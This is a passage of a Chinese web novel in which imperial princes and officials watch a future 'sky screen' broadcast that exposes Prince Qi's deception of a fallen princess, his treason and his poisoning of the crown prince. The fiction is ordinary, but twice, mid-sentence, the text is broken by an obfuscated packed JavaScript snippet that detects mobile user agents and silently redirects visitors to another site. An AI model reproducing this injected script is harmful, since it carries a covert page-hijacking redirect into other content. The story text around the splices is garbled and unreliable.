“此法甚好!”黎昭立刻赞同,“庞迎,你以后若要写,定要先报备审阅。”这不就相当于前世的出版审核嘛! “是,殿下。”庞迎总觉得哪里有些怪异,一时却又想不明白。他暂将疑虑压下,想起另一事,正色道:“殿下,属下想向您告假。” “嗯,是要返乡?” “是。”庞迎应道,取出一直贴身佩戴的香囊,从内里掏出一封边缘磨损的信笺——正是当年那封威胁信,动作间,些许灰末自香囊中簌簌落下。 随后取出火折子,看着跳动的火苗一点点将威胁信吞噬成灰烬,仿佛在与沉重的过去作最后的告别。 结束后,庞迎眼神眷恋地看着香囊,脸上的疤也显得柔和,才缓缓道来,“属下有一位青梅竹马的未婚妻,这些年,恐牵连于她,一直不敢联络。如今尘埃落定,属下想回去看看她,并亲至父母族人坟前,告知他们家仇已报,请他们安息。” “去吧。”黎昭声音温和,“若有任何需要,尽管去找富贵。记住,瑞王府,永远是你的后盾。” “有需要,也可至明府寻我。” “庞迎,多谢殿下,多谢明公子!” —————————————————— 送走庞迎,约莫着半月之期已到,黎昭猜测天幕应当又要显现,加之皇帝老爹三催四请,他终于收拾心情,麻溜地上朝去了。 这日清晨,他是被富贵硬生生从温暖的被褥里“挖”出来的。灵魂仿佛还留在榻上,身体却已行尸走肉般完成了洗漱,揣着热乎乎的早膳爬上了马车。直到凛冽的寒风扑面一吹,他才猛地一激灵,魂魄总算归位。 他望着窗外尚未苏醒的京城,内心对此刻定然还在安睡的明臻羡慕不已。那家伙冬日里固定辰时,约早上7点,起身练剑。 而自己,却要在卯时就立于奉天殿中!他无比期待明臻通过殿试后,能与自己一同“享受”这早朝福分的日子——好兄弟,自当有难同当! 今日的朝堂波澜不惊。科举舞弊案余威尚存,群臣极有默契地只挑些无关痛痒的政务讨论,唯恐触及陛下敏感的神经。 黎昭站在自己的位置上,正琢磨着方才太子皇兄投来的那个意味深长的眼神,灵光骤然一闪,突然意识到哪里不对了——他竟将太子的邀约忘得一干二净! 正暗自叫苦,盘算着如何赔罪,那声熟悉的巨响再度划破长空。 “轰隆——” 即便早有心理准备,殿中仍不免一阵细微的骚动。 “众爱卿,移步吧。”御座上传来皇帝平静的指令。众人这才依序前往汉白玉广场,准备享用这因天幕出现而难得的御赐早膳。 一些品阶较低的官员甚至难掩期待之色,低声议论着今日的膳食。毕竟按常例,唯有陛下的心腹近臣方有机会在朝后得赐御膳,以示恩宠。如今天幕降临,倒让他们这些寻常臣子也有了“沾光”的机会,怎么不激动呢。 黎昭已在马车上用过早点,此刻并不觉饿,只随手拈了块精巧的点心慢慢品尝,目光却不时瞟向太子那边,他深谙饱腹后人心情会更愉悦的道理,他自己便是如此。 见太子终于搁下银箸,黎昭才磨蹭过去,在太子身边坐下,试探着开口:“太子皇兄,您现在心情怎么样?” 太子一听这熟悉的开场白,便知他所为何来。这小子自幼便是如此,每每闯祸要道歉前,总要先来这么一句探探口风。 他至今记得黎昭五岁时,鼓捣出了一个烤肉架,想要亲自烤肉吃,不敢在贵妃宫里折腾,就撺掇着侄子在东宫搞,结果肉没烤熟不说,差点把东宫的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628045|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园给烧没了! 事后这小子来道歉,便是这副模样。幸好靠近太液池,救火及时,未酿成大祸,但他也没逃过贵妃一顿胖揍,更被父皇严令禁止在宫中触碰明火。 “哦?”太子好整以暇地掸了掸衣袖,“我若说心情不怎么样呢?” “您吃饱了吗?要不再吃两口,弟弟亲自给您布菜。或者,皇兄,这天气渐冷,东宫那几株您最珍爱的墨梅想必快开了吧?弟弟前儿得了一罐上好的雪顶寒梅蕊熏的茶叶,最是清雅暖胃,回头就给您送去!”黎昭立刻堆起好看的笑容。 “免了”,太子抬手制止,“皇兄我可不敢劳动你这大忙人。至于,雪顶寒梅蕊熏的茶叶这等雅物,还是留着你自个儿享用吧。” 黎昭心知糊弄不过去,只好收起那套弯弯绕,垮下肩膀,老老实实地认错:“皇兄,我错了。我真不是故意忘了您的邀约。前些时日您也知晓,大理寺、卷宗、庞迎的事搅在一起,我实在是忙得晕头转向,恨不得一个人掰成八瓣用,这才一不小心给忘了。” 他偷瞄着太子的脸色,下意识地扯了扯太子的衣袖,带了点耍赖的意味:“您大人有大量,就原谅弟弟这一回?我保证,绝无下次!” 看着他这副熟悉的、混合着讨好与无赖的模样,太子终究是没能绷住,无奈地叹了口气,抽出自己的袖子:“行了,少在这里拉拉扯扯,成何体统。莫要让外臣看了笑话。快回你位子上去,天幕怕是马上就要开始了。” 虽说现在还不知未来到底发生了什么,但以他对这个十弟的了解,事情应当不至于走到最坏那一步。 他凑近黎昭,声音压低了些,带着一丝不易察觉的复杂情绪:“如今,你也是风口浪尖上的人了,一言一行,多少双眼睛盯着。往后行事,需得更谨慎些。” 黎昭知道这便算是暂时揭过了,心下松了口气,连忙应道:“是是是,皇兄教训的是,弟弟记下了!” 他依言起身,抬头四顾,果然捕捉到不少暗戳戳打量这边的目光。他心下明了,这些大臣们此刻指不定在如何揣测他们兄弟间的暗流涌动呢! 黎昭刚在自己的座位上坐定,那熟悉的光辉便再度撒了下来,天幕如约亮起。 【Hello,朋友们,半月不见,想我了吗?我是‘风闻天下事’,欢迎来到《戏说史事》!】 依旧是那活泼得过分的语调。一些思想古板的老臣听得眉头紧锁:这后世女子怎得这样开放,怎能大庭广众之下说什么想不想的。 还有开场那陌生的字符,怪异的音节,绝非华夏正音,倒有点像遥远的外邦语。难道后世竟连异邦之言都学了吗?这......成何体统啊! 【我们上期说到圣祖为庞迎智斗楚王,揭露科举惊天黑幕。这一期我们就来说说圣祖所缔造的文学盛世——这与一位探花郎功不可没。这可不是简单的探花,大家可以先猜一猜不同在哪里!不过在正式开始之前呢,我们先来简单说说圣祖是如何上位的。】 话音至此,广场上的文武百官们瞬间精神一振,知道真正的重头戏来了。 目光不自觉扫向诸位皇子,这不仅仅是一段未来历史,更关乎他们每个人的身家性命与前程。毕竟楚王及其党羽凄惨的下场还历历在目,谁不担心追随的殿下也曾行差踏错? 只能在心中暗暗祈祷,盼着自己押注的皇子未曾做过什么天怒人怨、足以被天幕点名的“好事”。 而那些中立派的官员,紧张感则稍逊一筹。他们效忠的是当今皇帝,虽然对圣祖的上位之路也充满好奇,但他们更关注的,是那天幕口中即将到来的“文学盛世”。 如今的大晟,在陛下励精图治下,不过刚刚恢复些元气,远未到能称“盛世”的程度。那位圣祖皇帝,究竟有何等经天纬地之能,竟能在第二代便开创如此局面?这其中的治国方略,才是他们真正渴望窥知的奥秘。 17. 圣祖上位史 【话不多说,咱们这就开始!】 【先来给大家介绍一下圣祖夺嫡前的‘咖位’。据大晟国史记载,晟高祖有十一位皇子,第一个儿子孝德太子自幼跟随在高祖身边,其生母为高祖发妻,在高祖打天下后期病逝,后追封为皇后。 孝德太子占嫡占长,贤能兼备,立国后顺理成章入主东宫,地位稳固。 齐王,楚王,燕王,这几位都是高祖打天下时陆续出生的儿子,虽未长于君父膝下,但其生母家族皆为功勋集团代表,实力与根基,自然不容小觑。 而韩王、赵王、晋王、福王,乃立国后所出,分别排行五、六、七、十一。至于第八、第九子,史笔寥寥,只知未及封王便已早夭。】 【那么问题来了!】天幕中女子的声音陡然拔高,带着十足的悬念。 【我们圣祖,是如何在前有正统储君,后有诸多早已成年的兄弟围追堵截下,最终登上大宝的呢?】 不少大臣心里也跟着纳闷:是啊,凭什么?打死他们也想不到最终的赢家会是年龄小,又不着调的瑞王!要是知道,谁会这么早早站队的?这天幕再早些年来也行啊,也不至于让他们进退两难。 【这就不得不提高祖皇帝那‘因材施教’、‘与时俱进’的育儿经了!】 天幕的用词让老臣们嘴角抽搐,这怎么听都不像夸奖。 【前期,高祖那可是倾尽全力培养太子,同时不遗余力地打压其他成年皇子。到了后期嘛,许是高祖年纪渐长,出于制衡与稳固自身统治的考量,便开始转而打压太子,同时扶持其他皇子与太子打擂台,分其权势。】 听到这里,和太子年龄相差无几的几位皇子面上虽不动声色,心中却是百味杂陈,感同身受。早些年,他们空有亲王名号,却只能在朝听政,几乎接触不到核心实务,处处受制,想起来便是一把辛酸泪。 当时他们身后的势力不是没有努力争取过,但马背上得天下的皇帝军权在握,乾纲独断,谁敢强硬进言,一顶“动摇国本”的大帽子扣下来,谁也承受不起。 也就是近些年,陛下才渐渐放权,允他们施展拳脚。谁都明白,这是皇帝要用他们来平衡东宫势力,但那触手可及的权利与未来至尊之位,又有谁能轻易放手?无不抱着鹿死谁手犹未可知的决心,投身其中。 在最前方太子也迅速垂下眼睑,目光落在自己规整的衣袍纹路上,仿佛那蟠龙纹样变得无比引人入胜。这是他惯用的掩饰内心波动的方式,身为储君,喜怒不形于色是基本修养。 嘴角扬起一抹苦涩的自嘲,“育儿经”?多么讽刺的词。寻常百姓家的育儿经,是舐犊情深,是望子成龙。而天家的育儿经,却是制衡权术,是扶持与打压并用的帝王心术。 天幕以如此轻松、甚至带着些许戏谑的口吻,将父皇对他,以及对所有皇子的“算计”公之于众,带着公开处刑般的难堪。那种被当作棋子,被权衡、被利用、甚至被刻意打压的滋味,此刻被无限放大。难道天家父子,就真的只能走到这一步吗? 官道旁的茶棚里,几个附近的农户商户正歇脚。天幕的声音清晰地传到每个角落,那“育儿经”三个字,让端着粗陶大碗的老农手一抖。 他压低声音,带着几分难以置信:“嘿!听见没?皇上教儿子,跟咱们养牲口、训鹰似的?先紧着一个喂饱,再撺掇别的上去抢食?” 同行人摇了摇头,“这哪是父子,这是斗蛊呢!” “嘿,天家的事,咱们也不懂,也不是我等能议论的。 【当然这里主要指齐王,楚王,燕王,这几位早已成年皇子且背后有势力支持的皇子。在这时候的高祖眼中:老五,出身有瑕,有外族血脉,自动被排除在竞争序列之外; 老六过于懦弱,沉溺佛法,就差剃度出家了,实在难堪大任;老七年轻气盛,是个嘴碎的,还需多多历练;十一,年纪尚小,不作考虑。】 【而我们圣祖那时候嘛......】天幕中拉长了语调,带着一种“你懂的”的笑意,【在高祖眼里,那就是一整个玩心大到没边儿的熊孩子,纨绔之名响彻京城!而且按理说,皇子出宫建府后便该上朝听政,可圣祖偏不! 他硬是靠着各种稀奇古怪的理由,拖到最小的弟弟都年满十五、出宫开府了,才终于被实在看不下去的高祖强压着上了朝。但上了朝也是个混日子的主儿,更不能指望。 不过嘛,由此也可见高祖对圣祖的偏爱,以及这个时候的圣祖,其实压根儿还没生出参与夺嫡的心思!】 黎昭忍不住勾起了嘴角,大晟的规矩是皇子十五岁之前要入瀚海阁就学,十五岁之后就不但要入朝听政,还要继续兼顾瀚海阁的学业。 他不入朝一方面是向他的兄长们表示他没有夺嫡之心,另一方面也是真的不想两头跑。这才靠着自己的聪明才智躲了三年呢! 这后世的主播是从何处挖来的这些边角料?一朝官方国史断不会记载得如此鲜活生动。他下意识地抬眼望向御座之上的皇帝老爹,心下狐疑:总不能是老爹自己写了什么私密笔记,不小心流传到后世了吧? 而那些曾教导过黎昭的大臣们,此刻恨不得以袖掩面。殿下啊殿下!您那“纨绔”的名声,竟然都“流芳百世”了!这让他们这些曾经呕心沥血的老师,情何以堪! 上座的皇帝听着天幕如此直白地剖析他当年的心思与做法,面色虽平静如水,目光却如电般扫向台下那个还在偷笑的儿子,狠狠瞪了他一眼。 黎昭正好对上了这道视线,不由一怔,心下纳闷:老爹这眼睛是怎么了?抽筋了?他暗自思忖,回头得跟母妃说道说道,得给父皇的膳食里添点鱼目,老话不是说么,鱼目明目,以形补形。 【根据主播研读的大量正史、野史猜测一波,圣祖那颗夺嫡的野心,极有可能是在孝德太子病逝后,才真正破土而出的。】 什么——病逝?!听到这句话的黎昭猛地转头看向前方的太子,瞳孔骤然收缩,脸上写满了无法置信的惊骇。 他设想过无数种可能——意外、构陷,甚至是他那心思难测的父皇一时昏聩到废黜太子......近年来父皇对太子皇兄的刻意打压,所有人都看在眼里。 可他唯独没有想过,竟会是病逝!在他记忆中,太子皇兄的身体一向康健,怎会...... 皇帝面上不动声色,但那骤然攥紧座椅扶手、指节发白的手,却暴露了这位帝王内心绝不平静的波澜。 “宣太医。”低沉的声音带着不容置疑的威压,在寂静中荡开。 而处于目光焦点的太子,唇微动了一下,似乎想对皇帝说些什么,最终却只是化为一片沉默,将所有言语咽回腹中。 【我们上期说过,元和二十六年,楚王因科举舞弊案伏诛,此事虽是圣祖手笔,但除了极少数心腹,外界无人知晓。 倘若圣祖彼时便有夺嫡之心,大可将此事揽下,虽会引来猜忌防备,但以他操纵舆论之能,定能收割一大波民心并得到读书人的支持。 因此,这个时期的圣祖,应当仅仅是出于公义,为蒙冤者讨还公道,并未存显露锋芒之心。】 【然而,转折点发生在元和二十八年——太子病逝,享年三十八岁。不过,这个‘病逝’需要打上一个问号。 这个是官方史书给出的说法,野史稗闻却有记载,言说太子本身怀有陈年暗疾,是早年为了救高祖所致,若慢慢调养,本无大碍。可惜后来遭人暗中下了慢性毒药,诱发了旧伤,最终一命呜呼。】 “咯噔。” 是帝王指节攥紧,骨节发出的脆响。 方才尚能维持镇定的皇帝,在听到“遭人暗中下了慢性毒药”几个字时,周身的气压骤然降至冰点。 那不仅是得知丧子之痛,更是被触犯逆鳞的暴怒。他像一头被彻底激怒的雄狮,鬃髯戟张,眼中迸射出足以焚毁一切的烈焰。 “好...好得很啊!”每一个字都像是从牙缝中碾磨出来,带着骇人的杀气,“下毒?你们真是朕的好儿子,真的敢啊!兄弟骨肉之情,在你们眼里,怕是连野狗都不如!朕今日倒要亲自看看,为了身下这把椅子,你们还能作出多少禽兽不如的事来!” “父皇明鉴!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628046|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位皇子齐刷刷跪倒一片,脊背发凉。他们互相飞快地交换着眼神,惊惧、猜疑、审视......种种情绪在无声的空气中激烈碰撞,都试图从对方脸上找出那一丝心虚的痕迹,却又都迅速掩盖好自己的惊惶。 黎昭也在猜测,根据最大受益人原则,在当时的情况下很有可能不是齐王,就是燕王,他的心中已经有了偏向。 【短短数年,高祖皇帝连续经历两次白发人送黑发人之殇,悲恸欲绝,龙体自此江河日下,不得不重新考量储君人选。 当时剩下的皇子中,齐王、燕王资历最深,势力已成,于朝堂之上分庭抗礼。二选其一,似乎是最稳妥,也最顺理成章的选择。 而就在所有人,包括高祖自己,都以为答案将在这两人之中产生时——那位一直被排除在选项之外的圣祖,终于不再沉默,开始真正发力了。】 【首先出场的就是我们的五毒圣手——齐王!这可是个心思缜密、手段毒辣的人物! 究竟有多毒辣?这就要先从他和齐王妃那段“感人肺腑”的爱情故事说起了。在真相大白之前,齐王与王妃的结合,可是京城人人传颂的“霸道王爷爱上我”的经典戏码!】 一直维持着温文尔雅假面的齐王,脸色骤变。惯常挂在脸上的笑容瞬间消失得无影无踪,眼底深处掠过一丝难以掩饰的惊慌。 与此同时,齐王府内。 原本安静做着女红的齐王妃风羽菲,在听到天幕说到齐王时,手中的刺绣便已坠地。 她先是愣住,随即,一种压抑了多年、近乎绝望的期盼让她浑身颤抖起来,竟控制不住地对着天幕放声大笑,笑出了眼泪,状若疯癫。 “苍天有眼!苍天有眼啊——!”她对着天空嘶喊,积郁的冤屈与悲愤似乎找到了唯一的宣泄口。一旁的侍女被王妃这从未有过的失态吓得魂不附体,连滚爬跑地出去唤人。 风羽菲却已顾不得其他,她死死盯着天幕,指甲深深掐入掌心,渗出血丝也浑然不觉。她等待这场迟来的真相,已经太久太久。 【那是一个风和日丽的日子,家住临海小村的风羽菲,像往常一样在家织补渔网,等待着去往大集市卖鱼的父母兄长归来。 敲门声响起,门外站着的却不是亲人,而是一个衣着华贵、面容英俊却身受重伤、昏迷不醒的陌生男子——这便是我们故事的“男主角”,齐王殿下。】 【善良的风羽菲将这位不速之客带回家中照料。谁知男子醒来后,竟声称自己失忆了,并且表示救命之恩,无以为报,唯有以身相许。 就此,齐王便顺理成章地赖在了这简陋的渔家小屋,每日围着风羽菲嘘寒问暖,殷勤备至。正值情窦初开年纪的风羽菲,何曾见过这般阵仗? 加之父母兄长逾期未归,她心中焦急四处打听,却得到了一个如晴天霹雳般的消息——她的家人,在归家途中遭遇盗匪,已全部罹难!】 【风羽菲强忍悲痛,心中燃起熊熊复仇之火。她前去报官,却愕然发现官匪勾结,投诉无门。 走投无路之下,这个刚烈的姑娘竟凭着一腔孤勇,独自提刀闯入了盗匪盘踞的大营,意图拼个鱼死网破。 她虽有些武艺傍身,又怎敌得过一众悍匪?就在她即将命丧刀下之际,我们英勇的‘男主角’如神兵天降,不仅轻易制服了匪徒,更亮明了自己当朝齐王的尊贵身份。 在绝对的权势与这英雄救美的光环下,孤苦无依的风羽菲彻底沦陷了。】 【失去了所有亲人的风羽菲,在齐王柔声询问“可愿随我回京,做我的王妃”时,毫不犹豫地点头应允。 此后,她更亲眼见证了齐王是如何排除万难、力排众议,终于感动了皇帝,成就了这门身份悬殊的婚事。 成为齐王妃后,两人在外人眼中恩爱有加,这段传奇的爱恋一度被引为佳话,羡煞旁人。风羽菲自己也对这份“来之不易”的幸福深信不疑。】 天幕的声音在此刻停顿了一下,随即话锋陡然一转,带着一种冰冷的、揭穿一切的意味: 【但,真实的情况,当真是如此吗?】 18. 圣祖上位史 难道不是吗? 这几乎是所有经历过当年那场风波的官员,此刻心中共同升起的疑问。 齐王当年为了求娶齐王妃,可是毅然拒绝了陛下原本属意的儿媳人选。虽说未曾明旨赐婚,但风声早已传出,各方心照不宣。 齐王这“不爱权贵爱渔女”的举动,无疑让陛下在臣子面前折了面子,父子二人一度闹到几乎决裂的地步。 最后,是齐王结结实实挨了一顿廷杖,又在陛下宫门外跪了七天七夜,再加上齐王母妃的求情,陛下才终于勉强松口。 那位原本被看好的官家小姐,后来也觅得了如意郎君,陛下还特意厚赐添妆,也算全了双方颜面,传为一时的美谈。 当年,众人虽私下嘀咕,不解齐王为何南下归来便性情大变,但也只当是“情”之一字魔力无穷,皇家竟真出了个情种。可如今天幕此言,分明是在暗示,这段“传奇佳话”的背后,竟藏着不为人知的隐情! 黎昭也在宫宴上接触过过这位二皇嫂,是个很洒脱的人。他对当年的事也有些模糊的印象,但不算深刻。 那时,他借龙气稳固天魂的三年之期已满,不必再日日跟在他老爹身后做跟屁虫了。加之母妃将他看得紧,多数消息都是从宫人闲谈中听闻的。 他至今记得,母妃那时候还拿齐王为例子教训他:“昭儿,你记着,往后不管你瞧上谁,想与谁共度一生,对方是世家贵女还是平民布衣,甚至是男子,母妃都不在意。只一点,必须先告诉母妃,母妃替你周旋谋划,断不可自己头脑一热,就学你二皇兄去跟你父皇硬碰硬,听见没有?”全然不管一个三岁多的小孩是否能听懂。 当时这番惊世骇俗的教导,给自我认知一直是直男的黎昭带来了巨大的震撼,他母妃的思想比后世的人都开放。 而此刻,皇帝目光幽深地扫过脸色苍白的齐王,指节在龙椅扶手上不轻不重地敲击着。 天幕没有让众人等待太久,那清亮的声音再次响起,却带着穿透人心的冰冷: 【真相,往往比戏文更残酷。这一切,从最初的相遇,就是一场精心策划的骗局。风羽菲,她的真实身份,是前朝流落民间的公主!其生母为前朝皇妃,为行‘皇子换皇女’之计,将其秘密送走。同样不知情的养父母,受同乡临终所托,将风羽菲当作亲生女儿抚养长大。】 齐王妃居然是前朝余孽!! 方才还沉浸在故事中的官员们,脸色骤变,惊骇之情溢于言表。前朝血脉,这是足以株连九族、动摇国本的大忌! “陛下!”一位将军反应迅速出列,声音因急切而有些尖锐,“齐王妃乃前朝余孽!臣请旨,即刻派人包围齐王府,将其捉拿归案,严加审讯!” 那些前朝叛军,防不胜防,总是出来搞事情。偏偏他们盘踞在毒瘴包围的余南一带,拿他们没办法。 天幕没有给众人太多思考的时间,继续抛下更重磅的炸弹: 【可前朝覆灭多年,皇室成员明面上已尽数伏诛,这唯一的皇家血脉就此隐于民间。然而,辗转多年后,残存的前朝叛军势力,终究还是打上了这位落难公主的主意。大家可能要问了,这与齐王殿下又有何关系呢?】 天幕的声音在此刻带上了一种近乎残酷的嘲讽: 【因为,正是齐王殿下主动选择与那些前朝叛军联手,意图谋权篡位,并许诺事成后给叛军划分自治领!而娶风羽菲为王妃,是叛军提出的合作条件,也是齐王殿下,递出的投名状!】 “轰——!” 这最后的揭露,比之前任何一次都更具毁灭性。它不仅撕毁了齐王深情王爷的假面,更将其钉死在了“勾结逆党、图谋不轨”的叛国柱上! 天幕再说什么已经无人注意去倾听了,所有人的目光,紧紧攥住了齐王。只见他脸上血色尽褪,惨白如纸,身体微不可察地晃了一下,那总是挂在脸上的温雅笑容早已碎裂,只剩下被当众撕开所有伪装的惊惧与绝望。 “噗——” 皇帝急怒攻心之下,竟猛地喷出一口鲜血,点点猩红溅落在黑红的龙袍前襟,触目惊心。他手指颤抖地指着跪在下方的齐王,声音因极致的愤怒与痛心而嘶哑:“逆子!逆子……你……” “陛下——!” “父皇——!” “太医!太医怎么还没到!” 一时间,汉白玉广场上一片大乱,惊呼声、脚步声交织在一起。 皇帝却猛地一挥手,挣开周遭欲搀扶的内侍与皇子,站了起来。一把推开众人,语气森然如冰:“都滚开!朕还没老到走不动路!” 那染血的身躯依旧挺直,带着开国君主的赫赫威仪与不容侵犯的决绝。 只见他“锵啷”一声,直接拔出了身旁禁卫统领腰间的佩剑,寒光乍现。手持利剑,一步,一步,沉重而缓慢地走向瘫软在地的齐王。所过之处,人群如潮水般退开,齐王周围瞬间形成了一片无人敢靠近的真空地带。 有人神色隐隐带着期待,巴不得皇帝立刻手刃此獠;有人不忍目睹父子相残的惨剧,默默别过头去;有人紧闭双眼,手中佛珠拨动得又快又急;更多人则是满含担忧地望着皇帝,生怕他气极伤身。 皇帝走到齐王面前,剑尖垂下,如同在看一个死人,声音冰冷得不带一丝温度:“朕给你一个机会,由你亲自说,为什么要这样做?” 齐王仿佛抓住了最后一根救命稻草,猛地扑上前抱住皇帝的腿,声音抖得不成样子:“父皇……父皇!儿臣知错了!儿臣是鬼迷心窍,是那风羽菲,是那个妖女蛊惑了儿臣!求您饶了儿臣这一次,儿臣一定改过自新,儿臣这就去杀了她,杀了那个前朝余孽……” 皇帝手腕微动,将冰冷的剑刃逼近了几分,也打断了他毫无担当的推诿之词。 “说——!” 皇帝的怒吼如同惊雷,带着最后通牒的意味。 齐王抱着皇帝大腿的手僵住了。他缓缓抬起头,对上皇帝居高临下,布满血丝、盛满震怒与失望,却唯独没有半分宽宥的眼睛,瞬间浇灭了他最后一丝侥幸。 似是终于明白,他的父皇,这位铁血帝王,此刻心中没有父子,只有君臣,只有对叛国者的零容忍。 一瞬间,所有的恐惧仿佛都被抽空,多年的隐忍、算计与不甘,在这一刻轰然决堤,化作了毁灭一切的疯狂。 众人只听齐王突然笑了起来,疯狂而悲凉:“哈哈哈哈……哈哈哈哈哈……父皇,您想知道为什么?” 他猛地松开了手,竟无视颈间的利刃,抵着那锋利的剑锋,一点点地站了起来,任由剑刃在皮肤上划出一道细微的血痕。他直视着皇帝,眼中是积压了数十年的怨毒与扭曲的疯狂: “因为,我恨您啊!” “都是您的儿子!” 齐王嘶吼着,积压多年的怨恨如火山般喷发,面目扭曲,“凭什么太子就能自小跟在您身边,凭什么他能不费吹灰之力得到太子之位,而我们这些后来的,凭什么要给他做磨刀石,凭什么我要任您利用?!既然您不把我们当儿子看,只当作权术的棋子,那我为什么不能争?我凭什么不能争!” 皇帝看着他,似乎被震住了,仿佛直到此刻,才真正看清这个儿子内心深处隐藏的、如此汹涌的怨毒。 “还有黎昭那个小崽子!” 齐王的目光猛地射向一旁的黎昭,充满了嫉妒与不甘,“他明明比我们所有人都晚!就因为他那什么狗屁不通的天魂不稳,就能在您身边待足三年,从此荣宠不断!他一个不学无术的纨绔,您告诉我,这又是凭什么?!如今更是因为这天幕,您亲自下场,一个个地敲打我们。父皇,您的心,为何偏得这样厉害!” 不患寡而患不均,黎昭听着这字字泣血的指控,沉默地垂下了眼眸。无法反驳,父皇在治国上是雄主,但在为人父上,确实留下了太多的不公与裂痕。 然而,作为这份恩宠的既得利益者,他没有任何立场去评判这场源于偏爱的悲剧。 皇帝眼中的那丝震动迅速湮灭,他声音沉哑,带着一种痛心疾首的疲惫:“若你真有雄才大略,凭借堂堂正正的手段去争,朕或许还会高看你一眼。但,你千不该万不该,去勾结前朝余孽!” 他的声音陡然拔高,带着雷霆之怒,“你以为打天下是儿戏吗?!前朝暴政,民不聊生,饿殍遍野!朕与无数将士抛头颅、洒热血,才换来如今这点太平景象!你此举,对得起那些马革裹尸的亡魂吗?!你对得起这大晟的江山社稷吗?!” “我不在乎!” 齐王癫狂地大笑,声音尖锐刺耳,“成王败寇,历史由胜利者书写!谁在乎那些死人是如何想的!” 一言激起千重浪,尤其是那些曾随皇帝出生入死的武将,看向齐王的眼神瞬间充满了仇恨。文臣们也骇然失色,震惊于齐王竟能说出如此毫无底线、不知廉耻的话来! 在一片愤怒中,齐王仿佛很满意自己造成的效果,他脸上浮现出一种近乎恶毒的、报复性的快意,轻飘飘地补充道: “哦,对了,忘了告诉您。我那位好皇兄中的毒,是我下的,他那副大爱天下的样子实在令人作呕。啧啧,算起来,都快有一年了吧,真是可惜。” 他顿了顿,目光转向皇帝,带着一种同归于尽般的疯狂,一字一句道: “还有您,我亲爱的父皇,我也精心为您准备了一份,惊喜吗?” 皇帝握着剑的手不住颤动,锋利的剑刃在齐王脖颈上压出一道刺目的血痕,殷红的血珠瞬间沁出,“你疯了吗?杀兄弑父,勾结逆贼,大逆不道!今日,朕便亲手了结你这孽障,清理门户。” 黎昭眼见不对,一个箭步冲上前,抬手紧紧按住了皇帝即将用力的手腕。 “等等,父皇!”他急声劝阻,声音因紧张而微微发涩。再怎么样齐王不能死在皇帝的手中,赐死和当众手刃亲子,还是有很大区别的。 “怎么?你要为他求情?”帝王此刻的眼神仍带着杀意。 “儿臣不敢!”黎昭迎着 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皇帝强压着翻涌的气血和体内可能存在的毒素,重新坐回龙椅。太医终于得以近前,战战兢兢地为陛下和太子请脉。 广场上的众人,也勉强按捺下对陛下和太子身体的担忧,重新将注意力集中到天幕之上,期盼能从中找到更多线索。 然而,天幕后续的讲述,却让许多人听得云里雾里,仿佛在听另一个世界的故事。 【齐王最初的重伤失忆,自然是伪装的;风羽菲的养父母与兄长,是齐王派人所杀;那伙所谓的盗匪,也是齐王自导自演的一出戏。这场“王子爱上灰姑娘”的戏码,都是一场彻头彻尾的骗局! 其目的,就是为了骗取风羽菲的真心,让她心甘情愿地生下一个拥有前朝皇室血脉的继承人,以此作为掌控、利用前朝残余势力的重要筹码。 可惜,算盘落了空,齐王夫妇多年膝下仅有一女。更戏剧性的是,风羽菲后来机缘巧合之下,得知了全部的真相。】 【心碎与仇恨交织之下,几经谋划,终于在元和三十年,风羽菲与圣祖展开合作,将齐王勾结逆党、意图谋害皇帝的证据彻底揭露!齐王就此倒台,风羽菲因揭发有功,被特赦与齐王和离,带着女儿远走高飞。 当然,此时她前朝公主的身份并未暴露。不得不说,幸好当时没有暴露,否则,我华国历史上,恐怕就要少了一位战功赫赫、威震南疆的镇南将军了!】 “谁?!” 许多官员几乎以为自己听错了。一个女子?做了镇南将军?!这简直比齐王谋逆更让他们感到荒谬和难以置信!女子为将,闻所未闻! 【大家请看这副疆域图!蓝色区域,是高祖在位期间的大晟疆域。而这片红色的区域,则是圣祖在位期间,大晟的版图。】 “嘶——” 当那几乎扩大了一倍的红色疆域清晰地呈现在眼前时,所有大臣,无论是文臣还是武将,全都疯了! “老家伙!你看到了吗?如果老夫没记错,那片是余南吧!” 一位老臣激动地抓住同僚的胳膊,手指颤抖地指着地图南端大片的红色区域。 “看到了!老夫还没老眼昏花!还有北边!那片如今是草原蛮族世代盘踞之地,日后竟也成了我大晟的疆土?!” 另一位须发皆白的老将军更是热泪盈眶,仿佛看到了毕生梦想的实现。 【大家看到的南边这一大部分疆域,正是由镇南将军风羽菲,亲自率军打下来的!她后来更是凭借不世军功,得以封王,开创了女子封王的先例! 关于这部分波澜壮阔的历史,我们此刻先按下不表,以免剧透,待到后续专题讲述圣祖皇帝的赫赫武功时,再为大家细细道来!】 “不!我们需要现在就细讲!!” 这一刻,不知多少官员在心中呐喊,甚至下意识地伸出了手,仿佛这样就能挽留天幕那即将消散的余音。 开疆拓土,女子封王!这任何一件事都足以震动千古,怎能如此轻描淡写地带过?可惜,天幕并不会知晓他们此刻的焦灼与渴望。 而与广场上众人的激动、震惊、难以置信形成鲜明对比的,是齐王府内,风羽菲的茫然。 她刚刚还沉浸在齐王遭了天谴、大仇得报的巨大喜悦与解脱之中,转瞬之间,却听到了自己封王了? 镇南将军?率军打下南边大片疆土?女子封王? 这些词语每一个她都认识,但组合在一起,指向她本人时,却显得如此不真实。 